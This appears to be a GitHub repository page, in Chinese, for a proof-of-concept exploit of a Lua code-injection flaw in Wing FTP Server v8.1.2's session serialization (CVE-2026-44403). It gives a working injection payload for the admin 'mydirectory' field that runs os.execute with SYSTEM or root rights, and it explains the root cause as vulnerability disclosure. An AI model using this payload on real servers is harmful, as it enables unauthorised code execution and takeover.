ZemarKhos/CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit
GitHub: ZemarKhos/CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit
针对 Wing FTP Server v8.1.2 Session 序列化机制中 Lua 代码注入导致的远程代码执行漏洞(CVE-2026-44403)的概念验证与利用代码。
Stars: 1 | Forks: 0
Wing FTP Server v8.1.2 的 Session 序列化机制中存在远程代码执行(RCE)漏洞。通过身份验证的管理员可以通过域管理员的 `mydirectory`(basefolder)字段注入任意 Lua 代码,这些代码随后会通过 `loadfile()` 在服务端被执行。
这是一个与 CVE-2025-47812 不同的独立漏洞。针对 CVE-2025-47812 在 v7.4.4 版本中应用的修复仅解决了用户名字段中的空字节注入问题。底层不安全的 Session 序列化机制并未得到修复,在 v8.1.2 版本中依然可以通过管理员 basefolder 字段被利用。
`SessionModule.lua`(第 103 行)和 `SessionModuleAdmin.lua`(第 104 行)中的 Session 序列化函数 `serialize()` 使用 Lua 的 `[[...]]` 长字符串语法写入字符串值:
```
outf("_SESSION["..k.."]=[["..v.."]]\r\n")
```
如果某个 Session 值包含 `]]`,长字符串将被提前闭合,剩余的内容将被解析为可执行的 Lua 代码。
`cgi.lua`(第 274-275 行)和 `cgiadmin.lua`(第 277-278 行)中存在括号过滤代码,但已被注释掉:
```
--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")
```
用于强制执行此过滤的 Session 元表也被禁用:
```
--setmetatable(_SESSION,session_metatable) -- cgi.lua:282, cgiadmin.lua:285
```
## 漏洞利用
步骤 1 — 通过域管理员 basefolder 注入 Payload:
通过身份验证的超级管理员创建或修改域管理员账户。将 `mydirectory` 字段设置为:
```
C:\ftproot]]os.execute("whoami > C:\\proof.txt")--
```
接口 `service_add_admin.html` 和 `service_modify_admin.html` 不会对 `mydirectory` 字段中的括号字符进行过滤。(`service_add_admin.html` 在第 14-15 行会过滤用户名中的括号,但不会过滤 `mydirectory`。)
步骤 2 — 触发执行:
当被投毒的域管理员通过 `service_login.html` 登录时,basefolder 会被直接存入 Session 中:
```
rawset(_SESSION,"admin_basefolder",basefolder) -- service_login.html:95
rawset(_SESSION,"admin_nowpath",basefolder) -- service_login.html:96
```
`SessionModuleAdmin.save()` 会将其作为以下内容写入 Session 文件:
```
_SESSION['admin_basefolder']=[[C:\ftproot]]os.execute("whoami > C:\\proof.txt")--]]
```
步骤 3 — 代码执行:
在下一个使用该 Session 的 HTTP 请求中,`SessionModuleAdmin.load()` 会调用 `loadfile()` 并随后调用 `f()`(第 184-188 行)。Lua 解析器将该 Session 文件解析为:
```
_SESSION['admin_basefolder']=[[C:\ftproot]] --> assigns string "C:\ftproot"
os.execute("whoami > C:\\proof.txt") --> EXECUTES AS CODE
--]] --> rest is commented out
```
Payload 将以 Wing FTP Server 进程的权限运行(Windows 上为 SYSTEM,Linux 上为 root)。
## 概念验证
目前已开发出有效的 PoC 漏洞利用代码,并在 Windows 平台的 Wing FTP Server v8.1.2 上进行了测试。
复现步骤:
1. 登录管理面板
2. 创建一个新的域管理员,并设置以下 `mydirectory` 值:
C:\ftproot]]os.execute("whoami > C:\\wingftp_rce_proof.txt")--
3. 以新创建的域管理员身份登录
4. 访问任意管理员页面(触发 Session 加载)
5. 验证是否生成了 `C:\wingftp_rce_proof.txt` 文件,且其中包含了服务器的用户名
标签:CISA项目, CVE-2026-44403, Exploit, Lua代码注入, POC, RCE, rizin, Web安全, Wing FTP Server, 会话反序列化, 协议分析, 安全验证绕过, 数据展示, 文件传输协议, 权限提升, 漏洞分析, 漏洞利用代码, 红队, 编程工具, 网络安全, 蓝队分析, 路径探测, 身份验证后漏洞, 远程代码执行, 隐私保护, 高危漏洞